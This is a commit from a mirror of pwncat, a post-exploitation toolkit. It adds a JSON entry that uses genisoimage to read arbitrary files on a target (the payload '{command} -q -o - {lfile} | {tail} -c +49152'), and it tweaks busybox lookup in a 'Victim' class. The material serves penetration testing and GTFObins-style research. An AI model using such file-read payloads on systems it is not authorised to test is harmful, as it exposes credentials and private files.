1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Added genisoimage as a GTFObin read

This commit is contained in:
John Hammond 2020-05-20 22:42:13 -04:00
parent 21cddc0a05
commit c9cba4bf78
2 changed files with 10 additions and 1 deletions

View File

@ -800,6 +800,15 @@
"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
}
],
//-------------------------------------------------------------------
"genisoimage": [
{
"type": "read",
"stream" : "print",
"payload": "{command} -q -o - {lfile} | {tail} -c +49152",
"args": []
}
],

View File

@ -502,7 +502,7 @@ class Victim:
:return: The full path to the requested binary or None if it was not found.
"""
if self.has_busybox:
if self.host.busybox is not None:
if name in self.busybox_provides:
if quote:
return f"{shlex.quote(str(self.busybox_path))} {name}"